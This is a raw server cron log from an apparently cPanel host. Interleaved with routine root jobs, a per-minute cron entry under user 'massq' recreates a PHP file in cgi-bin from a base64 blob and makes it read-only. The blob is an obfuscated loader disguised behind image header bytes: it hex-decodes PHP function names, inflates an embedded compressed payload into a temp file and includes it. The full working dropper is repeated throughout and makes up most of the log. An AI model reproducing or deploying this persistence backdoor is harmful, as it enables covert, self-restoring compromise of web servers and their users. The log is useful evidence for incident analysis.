Sep  3 15:16:01 server CROND[11426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:17:01 server CROND[11853]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:17:01 server CROND[11854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:17:01 server CROND[11855]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:18:01 server CROND[12237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:18:01 server CROND[12238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:18:01 server CROND[12239]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:19:01 server CROND[12633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:19:01 server CROND[12634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:19:01 server CROND[12635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:20:01 server CROND[13106]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:20:01 server CROND[13108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:20:01 server CROND[13120]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:20:01 server CROND[13126]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:20:01 server CROND[13119]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:20:01 server CROND[13118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:20:01 server CROND[13127]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:20:01 server CROND[13125]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:20:01 server CROND[13128]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:21:02 server CROND[13959]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:21:02 server CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:21:02 server CROND[13961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:22:01 server CROND[14336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:22:01 server CROND[14337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:22:01 server CROND[14338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:23:01 server CROND[14716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:23:01 server CROND[14715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:23:01 server CROND[14717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:24:01 server CROND[15086]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:24:01 server CROND[15087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:24:01 server CROND[15088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:25:01 server CROND[15468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:25:01 server CROND[15469]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:25:01 server CROND[15470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:25:01 server CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:25:01 server CROND[15471]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:25:01 server CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:25:01 server CROND[15472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:26:01 server CROND[16379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:26:01 server CROND[16380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:26:01 server CROND[16381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:27:01 server CROND[16757]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:27:01 server CROND[16759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:27:01 server CROND[16758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:27:01 server CROND[16760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:28:01 server CROND[17135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:28:01 server CROND[17134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:28:01 server CROND[17136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:29:01 server CROND[17510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
